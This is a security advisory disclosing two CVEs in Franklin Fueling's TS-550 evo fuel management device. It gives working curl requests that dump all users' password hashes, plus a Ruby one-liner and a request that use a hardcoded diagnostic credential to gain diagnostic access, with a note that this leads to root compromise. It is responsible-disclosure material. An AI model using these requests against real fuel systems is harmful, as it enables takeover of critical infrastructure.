  Trustwave&apos;s SpiderLabs Security Advisory TWSL2014-001: Multiple Vulnerabilities in Franklin Fueling&apos;s TS-550 evo   Published: 01/03/2014 Version: 1.0   Vendor: Franklin Fueling Systems (http://www.franklinfueling.com/) Product: TS-550 evo device Version affected:Firmware 2.0.0.6833 confirmed.Affects prior to version 2.4.0   Product description: A fuel management system with a programmable interface used for inventory and delivery management.   Finding 1: Insufficient Access Control Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs CVE: CVE-2013-7247 CWE: CWE-200   As the Guest user (the lowest privilege), a user can post the cmdWebGetConfiguration parameter to cgi-bin/tsaws.cgi. This will return the usernames and password hashes (in DES format) for all users of the application. Once dumped, they can be cracked and used to access authenticated portions of the application.     #Request   curl -H "Content-Type:text/xml" --data &apos;<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>&apos; http://<ip>:10001/cgi-bin/tsaws.cgi   #Response   <TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-02-19T22:09:22Z" TIME_STAMP_LOCAL="2013-02-19T17:09:22" KEY="11111111" ROLE="roleGuest"><TSA_RESPONSE COMMAND="cmdWebGetConfiguration"><CONFIGURATION> <DEBUGGING LOGGING_ENABLED="false" LOGGING_PATH="/tmp"/> <ROLE_LIST> <ROLE NAME="roleAdmin" PASSWORD="YrKMc2T2BuGvQ"/> <ROLE NAME="roleUser" PASSWORD="2wd2DlEKUPTr2"/> <ROLE NAME="roleGuest" PASSWORD="YXFCsq2GXFQV2"/> </ROLE_LIST> </CONFIGURATION></TSA_RESPONSE></TSA_RESPONSE_LIST>   Finding 2: Hardcoded Technician Credentials Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs CVE: CVE-2013-7248 CWE: CWE-798   The three primary users on the TS550 are roleGuest, roleUser, and roleAdmin.Another user exists with additional access named roleDiag. This user can access extra portions of the application such as the command line interface, enable and disable SSH, as well as run SQL commands all from the web interface.The CLI interface includes the ability to run engineering and manufacturing commands.The password for roleDiag is the key (a value returned with every POST request to tsaws.cgi) DES encrypted.This can be done in Ruby:     $ irb 1.9.3p374 :001 > "11111111".crypt("aa") => "aaDTlAa1fGGC."   #Request   curl -H "Content-Type:text/xml" --data &apos;<TSA_REQUEST_LIST PASSWORD="aaDTlAa1fGGC."><TSA_REQUEST COMMAND="cmdWebCheckRole"/></TSA_REQUEST_LIST>&apos; http://<ip>:10001/cgi-bin/tsaws.cgi   #Response (note the ROLE)   <TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-03-04T16:53:01Z" TIME_STAMP_LOCAL="2013-03-04T11:53:01" KEY="11111111" ROLE="roleDiag"><TSA_RESPONSE COMMAND="cmdWebCheckRole"></TSA_RESPONSE></TSA_RESPONSE_LIST>   The password can then be used to run various roleDiag commands. An attacker can enable SSH, and since root&apos;s password is the same as roleAdmin, they can completely compromise the device.   Remediation Steps: According to Franklin Fueling, version 2.4.0 mitigates these vulnerabilities. However, Trustwave SpiderLabs have not verified this fix.     Revision History: 04/16/13 - Vulnerability disclosed to vendor 12/18/13 - Fix released on a limited basis by vendor 01/03/14 - Advisory published   References 1. http://www.franklinfueling.com/evo/     About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world.
